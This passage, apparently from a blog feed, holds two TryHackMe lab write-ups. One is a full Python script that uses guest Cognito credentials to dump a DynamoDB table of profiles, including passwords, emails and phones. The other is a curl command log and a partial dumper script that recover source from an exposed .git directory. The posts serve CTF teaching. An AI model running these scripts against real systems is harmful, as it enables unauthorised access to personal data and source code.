&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;IDENTITY_POOL_ID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;us-east-1:836c0949-292d-485b-b532-52d5ca7bb688&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;AWS_REGION&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;us-east-1&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;TABLE_NAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;complimentary-GuestWellnessProfiles&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;AWS&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;credentials&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;AWS&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;CognitoIdentityCredentials&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;IdentityPoolId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;IDENTITY_POOL_ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The app uses &lt;strong&gt;Cognito Identity Pool&lt;/strong&gt; to issue temporary AWS credentials to unauthenticated users, then reads from DynamoDB.&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;Step 3 — Get Temporary AWS Credentials via Cognito&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Using Python with boto3:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;boto3&lt;/span&gt;

&lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;boto3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;client&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cognito-identity&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;region_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;us-east-1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;identity_response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IdentityPoolId&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;us-east-1:836c0949-292d-485b-b532-52d5ca7bb688&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;creds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_credentials_for_identity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IdentityId&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;identity_response&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;IdentityId&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;AccessKeyId: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Credentials&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;AccessKeyId&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SecretKey: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Credentials&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;SecretKey&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SessionToken: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Credentials&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;SessionToken&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] Got Cognito Identity ID: us-east-1:4d571309-b063-c4e6-e6d8-66e669ef0d6d
[+] Got temporary credentials:
    AccessKeyId: ASIAU2VYTBGYGDALDNDF
    SecretKey: fyKbPeg/OA5+secxeoe+...
    SessionToken: IQoJb3JpZ2luX2VjEMz//////////w...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  &lt;strong&gt;Step 4 — Scan DynamoDB Table&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;dynamodb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;boto3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;client&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;dynamodb&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;region_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;us-east-1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;aws_access_key_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Credentials&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;AccessKeyId&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;aws_secret_access_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Credentials&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SecretKey&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;aws_session_token&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Credentials&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SessionToken&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dynamodb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TableName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;complimentary-GuestWellnessProfiles&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result: &lt;strong&gt;5 items&lt;/strong&gt; — Lambo, Ponzi, Vibe, Patch, and a hidden VIP profile.&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;Step 5 — Flag Found&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The flag was in &lt;code&gt;guest-vip-042&lt;/code&gt;'s &lt;strong&gt;notes&lt;/strong&gt; field:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;notes: If you're reading this, the wellness app's guest role can read every profile, not just its own. THM{fr33_app_fr33_d4t4!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  &lt;strong&gt;Vulnerability&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Cognito Identity Pool&lt;/strong&gt; allows unauthenticated (guest) access&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;UnauthRole&lt;/strong&gt; IAM role grants &lt;code&gt;dynamodb:Scan&lt;/code&gt; on the entire &lt;code&gt;complimentary-GuestWellnessProfiles&lt;/code&gt; table&lt;/li&gt;
&lt;li&gt;No row-level restriction — any visitor can dump every guest's data&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Full Data Dump&lt;/strong&gt;
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;guest_id&lt;/th&gt;
&lt;th&gt;name&lt;/th&gt;
&lt;th&gt;flag&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;guest-lambo&lt;/td&gt;
&lt;td&gt;Lambo (@0xMia)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;guest-ponzi&lt;/td&gt;
&lt;td&gt;Ponzi (Satoshi_Probably)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;guest-vibe&lt;/td&gt;
&lt;td&gt;Vibe (Move Fast &amp;amp; Break Things)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;guest-patch&lt;/td&gt;
&lt;td&gt;Patch (Have You Tried Turning It Off)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;guest-vip-042&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Guest VIP-042&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;THM{fr33_app_fr33_d4t4!}&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Tools Used&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;curl.exe&lt;/code&gt; — HTTP requests&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;boto3&lt;/code&gt; (Python AWS SDK) — Cognito identity + DynamoDB scan&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1t7clib7d1vnungyizst.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1t7clib7d1vnungyizst.png" alt=" " width="800" height="1200"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Byte Lotus - Complimentary (AWS Cognito misconfiguration)
# Solves: THM{fr33_app_fr33_d4t4!}
#
# Usage: python solve_complimentary.py

import boto3

IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688"
REGION = "us-east-1"
TABLE_NAME = "complimentary-GuestWellnessProfiles"

# Step 1: Get Cognito Identity ID (unauthenticated guest access)
client = boto3.client("cognito-identity", region_name=REGION)
identity_response = client.get_id(IdentityPoolId=IDENTITY_POOL_ID)
identity_id = identity_response["IdentityId"]
print(f"[+] Got Cognito Identity ID: {identity_id}")

# Step 2: Get temporary AWS credentials
credentials_response = client.get_credentials_for_identity(IdentityId=identity_id)
creds = credentials_response["Credentials"]
print(f"[+] Got temporary credentials:")
print(f"    AccessKeyId: {creds['AccessKeyId']}")
print(f"    SecretKey: {creds['SecretKey'][:20]}...")
print(f"    SessionToken: {creds['SessionToken'][:30]}...")

# Step 3: Create DynamoDB client with temp credentials
dynamodb = boto3.client(
    "dynamodb",
    region_name=REGION,
    aws_access_key_id=creds["AccessKeyId"],
    aws_secret_access_key=creds["SecretKey"],
    aws_session_token=creds["SessionToken"],
)

# Step 4: Scan the entire table (UnauthRole has dynamodb:Scan)
print(f"\n[+] Scanning table: {TABLE_NAME}")
response = dynamodb.scan(TableName=TABLE_NAME)
print(f"[+] Found {len(response['Items'])} guest profiles:\n")

for item in response["Items"]:
    guest_id = item.get("guest_id", {}).get("S", "?")
    name = item.get("name", {}).get("S", "?")
    notes = item.get("notes", {}).get("S", "?")
    password = item.get("password", {}).get("S", "?")
    location = item.get("location", {}).get("S", "?")
    email = item.get("email", {}).get("S", "?")
    phone = item.get("phone", {}).get("S", "?")

    print(f"  guest_id: {guest_id}")
    print(f"  name:     {name}")
    print(f"  notes:    {notes}")
    print(f"  password: {password}")
    print(f"  location: {location}")
    print(f"  email:    {email}")
    print(f"  phone:    {phone}")
    print()

    # Check for flag in any field
    for key in item.keys():
        val = item[key]
        if "S" in val and "THM{" in val["S"]:
            print(f"  *** FLAG FOUND in {key}: {val['S']} ***\n")

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>cybersecurity</category>
      <category>cloud</category>
      <category>awschallenge</category>
      <category>python</category>
    </item>
    <item>
      <title>[TryHackMe Writeup] Room 404</title>
      <dc:creator>Wahiduddin Samani</dc:creator>
      <pubDate>Fri, 31 Jul 2026 06:47:30 +0000</pubDate>
      <link>https://dev.to/w1hi4/tryhackme-writeup-room-404-1k76</link>
      <guid>https://dev.to/w1hi4/tryhackme-writeup-room-404-1k76</guid>
      <description>&lt;h1&gt;
  
  
  =============================================================
&lt;/h1&gt;

&lt;h1&gt;
  
  
  Byte Lotus .git Source Code Disclosure — Full Command Log
&lt;/h1&gt;

&lt;h1&gt;
  
  
  =============================================================
&lt;/h1&gt;

&lt;h1&gt;
  
  
  Target: &lt;a href="http://MACHINE_IP:8080" rel="noopener noreferrer"&gt;http://MACHINE_IP:8080&lt;/a&gt;
&lt;/h1&gt;

&lt;h1&gt;
  
  
  ---- &lt;strong&gt;Step 1: Initial Recon&lt;/strong&gt; ----
&lt;/h1&gt;

&lt;h1&gt;
  
  
  Fetch homepage with headers
&lt;/h1&gt;

&lt;p&gt;curl.exe -s -i &lt;a href="http://MACHINE_IP:8080" rel="noopener noreferrer"&gt;http://MACHINE_IP:8080&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Check robots.txt
&lt;/h1&gt;

&lt;p&gt;curl.exe -s &lt;a href="http://MACHINE_IP:8080/robots.txt" rel="noopener noreferrer"&gt;http://MACHINE_IP:8080/robots.txt&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  ---- &lt;strong&gt;Step 2: .git Exposure Check&lt;/strong&gt; ----
&lt;/h1&gt;

&lt;h1&gt;
  
  
  Check .git/config
&lt;/h1&gt;

&lt;p&gt;curl.exe -s -o NUL -w "%{http_code}`n" &lt;a href="http://MACHINE_IP:8080/.git/config" rel="noopener noreferrer"&gt;http://MACHINE_IP:8080/.git/config&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Check .git/HEAD
&lt;/h1&gt;

&lt;p&gt;curl.exe -s &lt;a href="http://MACHINE_IP:8080/.git/HEAD" rel="noopener noreferrer"&gt;http://MACHINE_IP:8080/.git/HEAD&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Check other common paths
&lt;/h1&gt;

&lt;p&gt;curl.exe -s -o NUL -w "%{http_code}&lt;code&gt;n" http://MACHINE_IP:8080/.env&lt;br&gt;
curl.exe -s -o NUL -w "%{http_code}&lt;/code&gt;n" &lt;a href="http://MACHINE_IP:8080/Dockerfile" rel="noopener noreferrer"&gt;http://MACHINE_IP:8080/Dockerfile&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  ---- &lt;strong&gt;Step 3: Git Object Traversal&lt;/strong&gt; ----
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Fetch commit object (from HEAD ref)
&lt;/h1&gt;

&lt;p&gt;curl.exe -s &lt;a href="http://MACHINE_IP:8080/.git/objects/0f/13550b4cb13e9f30c61d5b342c532d21e45bda" rel="noopener noreferrer"&gt;http://MACHINE_IP:8080/.git/objects/0f/13550b4cb13e9f30c61d5b342c532d21e45bda&lt;/a&gt; | `&lt;br&gt;
  python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); print(data.decode())"&lt;/p&gt;
&lt;h1&gt;
  
  
  Extract tree hash -&amp;gt; fa45dbd69394ea9e13683d9efb6a0220daac59d4
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Fetch tree object
&lt;/h1&gt;

&lt;p&gt;curl.exe -s &lt;a href="http://MACHINE_IP:8080/.git/objects/fa/45dbd69394ea9e13683d9efb6a0220daac59d4" rel="noopener noreferrer"&gt;http://MACHINE_IP:8080/.git/objects/fa/45dbd69394ea9e13683d9efb6a0220daac59d4&lt;/a&gt; | `&lt;br&gt;
  python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); null=data.find(b'\x00'); print(data[null+1:])"&lt;/p&gt;
&lt;h1&gt;
  
  
  ---- &lt;strong&gt;Step 4: Retrieve Files&lt;/strong&gt; ----
&lt;/h1&gt;
&lt;h1&gt;
  
  
  README.md (contains flag)
&lt;/h1&gt;

&lt;p&gt;curl.exe -s &lt;a href="http://MACHINE_IP:8080/.git/objects/a5/965c580fee91d852e5b19a8290da02d2926523" rel="noopener noreferrer"&gt;http://MACHINE_IP:8080/.git/objects/a5/965c580fee91d852e5b19a8290da02d2926523&lt;/a&gt; | `&lt;br&gt;
  python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); null=data.find(b'\x00'); print(data[null+1:].decode())"&lt;/p&gt;
&lt;h1&gt;
  
  
  app.js
&lt;/h1&gt;

&lt;p&gt;curl.exe -s &lt;a href="http://MACHINE_IP:8080/.git/objects/25/75ab073f67615a27135663ed36794c2d2584fb" rel="noopener noreferrer"&gt;http://MACHINE_IP:8080/.git/objects/25/75ab073f67615a27135663ed36794c2d2584fb&lt;/a&gt; | `&lt;br&gt;
  python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); null=data.find(b'\x00'); print(data[null+1:].decode())"&lt;/p&gt;
&lt;h1&gt;
  
  
  index.html
&lt;/h1&gt;

&lt;p&gt;curl.exe -s &lt;a href="http://MACHINE_IP:8080/.git/objects/0a/12caa4e52a965e89e5eccf5760924b21aacbf7" rel="noopener noreferrer"&gt;http://MACHINE_IP:8080/.git/objects/0a/12caa4e52a965e89e5eccf5760924b21aacbf7&lt;/a&gt; | `&lt;br&gt;
  python -c "import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); null=data.find(b'\x00'); print(data[null+1:].decode())"&lt;/p&gt;
&lt;h1&gt;
  
  
  ---- &lt;strong&gt;Step 5: Alternative - Use Python dumper script&lt;/strong&gt; ----
&lt;/h1&gt;

&lt;p&gt;python git_dump.py &lt;a href="http://MACHINE_IP:8080" rel="noopener noreferrer"&gt;http://MACHINE_IP:8080&lt;/a&gt; ./dump_output&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# GIT DUMPER - Fetches files from an exposed .git directory
# Usage: python git_dump.py &amp;lt;base_url&amp;gt; &amp;lt;output_dir&amp;gt;
&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;urllib.request&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;zlib&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;

&lt;span class="n"&gt;BASE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;rstrip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;OUT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fetch_obj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sha&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/.git/objects/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;sha&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;sha&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BASE&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;  FAIL: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; -&amp;gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;

